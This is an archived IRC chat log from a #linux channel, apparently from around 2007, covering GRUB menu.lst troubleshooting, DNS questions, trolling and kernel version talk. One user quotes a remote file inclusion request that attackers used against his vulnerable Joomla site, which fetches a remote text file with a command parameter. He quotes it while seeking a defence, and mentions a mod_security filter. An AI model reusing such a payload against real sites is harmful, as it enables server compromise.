| |
| |
| |
|
Page: 1 2 3 4 5 6 7 8 9 10 11 12
Comments:
<0> :D
<0> %/addserver irc.efnet.net
<0> %/addserver irc.efnet.net 6667
<0> ups
<0> ;s
<0> wtf
<1> ok back
<1> sorry
<1> so the harddrive is connected
<1> dmesg says scanning is now complete
<2> ok, its too late now but what would have been a solution to:
<2> LFS 6.2 no error setup all the way until final reboot where instead of going to the OS it goes to grub command prompt
<2> then when using root (dev) kernel (dev)/kernel loc. and boot (dev)/kernel loc. the kernel panics on a VFS sync with a faulty root=
<3> how can i edit a specific line using ex editor , i can't get the command
<4> netpulse: Properly configure your menu.lst and it should work.
<5> i thought i did
<5> i pretty much copy pasted and double checked the menu.1st and it looked fine
<4> Do you understand what is in menu.lst?
<5> i think for the most part, it ***igns the time before the default selection is loaded, the title for entries, the location of the kernel, and the partion that the root and kernel are on right?
<5> partition*
<4> It does configure those things, but do you understand the file's syntax?
<5> timeout <# of seconds>
<5> title <name>
<5> root <partition>
<4> What you showed me above... I wouldn't expect that to work.
<5> w/o the < >
<5> just using that to mark values
<5> kernel <location of kernel (/boot/lfskernel-version for me)>
<4> That won't work.
<5> no () or <> either
<5> what is wrong with that syntax?
<5> wrong kernel location in /boot/?
<4> You must configure root for the actual boot partition. Then kernel as the kernel name on the root.
<4> Like this:
<4> root (hd0,6)
<4> kernel /vmlinuz26
<5> yes my setup was
<5> title LFS 6.2
<5> root (hd0,0)
<4> If you put kernel /boot/vmlinuz26 then you would actually try to boot off of /boot/boot/vmlinuz26.
<5> kernel /boot/lfskernel-2.6.16.35 root=/dev/hda1
<4> And it worked?
<5> really?
<6> .35?
<5> no it didnt work
<4> Surprise!
<5> the book needs to be edited then
<5> marked as kernel /boot/whereveryouputit
<4> I can show you my actual menu.lst if it would help.
<7> Penguin-: did your nameserver go down?
<4> Interex: I doubt it.
<7> n/m its my connection on that side
<7> it was saying it couldnt resolve hostname
<8> sounds like your isp
<7> my isp?
<7> what does my isp have to do with anything?
<8> that's what happens when I can't resolve
<7> Well I'm sorry but thats not me.
<4> rocket625: For future reference, the nameserver is what resolves DNS.
<8> yup thanks
<4> no NAT for you
<7> heh
<9> note to self, printers need paper to print
<7> and cheech needs papers to smoke!
<10> http://www.microsoft.com/trash/linux
<7> We?re sorry, but there is no Microsoft.com Web page that matches your entry.
<4> Oh yeah, that's funny as hell.
<7> XB00X: is that all you come here to do?
<4> NOT
<10> you make the things complicated
<6> nobody forces you to use it, please don't troll here
<11> hello band
<4> Interex: http://www.linux.com/trash/microsoft
<7> Penguin-: heh
<11> i have a short and simple question: does register_globals prevent http:// path traversal attacks ?
<6> in what? can you be more specific?
<4> I wrote down register_globals on a Post-It note and it didn't help with anything.
<6> ah.
<6> anyway if you tell us what you're referring to we might be able to help more :)
<11> talking to me or to interex ?
<6> sigh. nevermind
<7> hahaha
<7> why would he be talking to me?
<11> don't know what were you been talking before
<11> ok... here's the deal
<10> correct: http://www.linux.com/var/home/etc/usr/var_again/home2/vi/home3/trash/microsoft
<10> you make the things complicated
<12> Ah, google says register_globals is a php thingy. You should probably ask in a php or web dev channel for a quick response.
<11> i have a buggy joomla on my serv... and once in a while there is a script kiddie that uses something like: index.php?joomla_absolute_stupid_unsecure_path=http://mypersonalwebsite.com/myspecialownage.txt?cmd=ls
<4> XB00X: I have a symlink for all that to http://www.linux.com/trash/microsoft
<7> XB00X: you have been told not to troll here.
<11> so... i thought register_globals off would save me from that
<11> so i turned it off
<7> XB00X: please try to be more helpful, or ask a legit linux qustion.
<7> fire-eyes: my ban wasnt good enough?
<9> no.. it was to soft... and the texture was off
<6> drugod: you still haven't told us specifics of what you're using, and i ran outta patience, next time give us a hint
<11> it was fine for 3 days then i found out another guy came to my buggy joomla and "hacked" it with the same exact way -.-
<6> Interex: oh i didn't see it, sorry, you can kill mine
<7> urbanmonkey: i'm not out to set wide bans.
<7> fire-eyes' will stay
<11> fire-eyes what else do you need to know ? i don't think system specifics are important in this case as far as i know.
<7> i wish i had the bandwidth kayla's parents have.. it is quick!
<13> how quick?
<4> drugod: We don't like to guess.
<7> just about 1000 KB/s
<13> so about 8mbps
<11> ok, so you have no knowledge about php and it's specifics at all. i understand.
<9> drugod i would check with the people that made the software, there could be a patch available to fix the issue
<7> mulder_: its near 8.. but its a lot quicker than i have here.
<13> ok
<6> does http://www.kernel.org/ load very slow for others here?
<7> for me it sits at "waiting....."
<12> Yes.
<9> f/e nope
<11> urbanmonkey it's true it's joomla's bug but still you can limit it system wide ! i can't ask every customer to fix his own page... if he has no knowledge of php. I temporarily added =http:// to mod_security module for apache, but that's not really a good solution.
<7> fire-eyes: finally it loads, it took a few seconds.
<6> ok thanks
<7> fire-eyes: very lagged i do believe
<6> been super slow and often timing out for weeks here
<13> for me it load straight away
<6> thankfully there are tons of fast mirrors, it's just annoying trying to get a quick overview of the current versions
<13> The latest stable version of the Linux kernel is: 2.6.19.1 2006-12-11 19:40 UTC F V C Changelog
<4> fire-eyes: 30.190s load time.
<13> The latest prepatch for the stable Linux kernel tree is: 2.6.20-rc3 2007-01-01 01:15 UTC B V VI C Changelog
<13> you guys have a slow route there
<13> took me like... 5 seconds
<9> drugod you are offering hosting services using joobla I take it?
<13> and i'm on dialup
<6> anywhere else is fine for me
<13> wow 2.4 still being developed
<6> ok thanks
<6> yeah for all those debian users </troll>
<6> ;p
<4> mulder_: Of course it is.
<4> I use 2.4.
<13> but... why would you use 2.4?
<13> 2.6 is so much better
<9> fire-eyes pat still uses 2.4 in slackware
<4> mulder_: Because it works very very well.
<6> not sure myself, but i'm glad the choice is out there
<6> urbanmonkey: doesn't surprise me
<9> i upgraded my boxes to 2.6 a while ago
<6> trying to remember my first kernel, 2.0.13 i think, or was it .8 something
<9> my first kernel was what ever was packaged into slackware 3.2
<4> My first one I cared about was 2.2.19.
<4> Any that I used before that I didn't care enough about to check the version.
<14> donde encuentro linux CELL
<7> Penguin-: you used 2.2 as your first kernel?
Return to
#linux
or
Go to some related
logs:
#worldchat
stunguns
#india
#chat-world
chudti
#linux
#php
#india
fuck ladygirl
2 dimentional array perl
|
|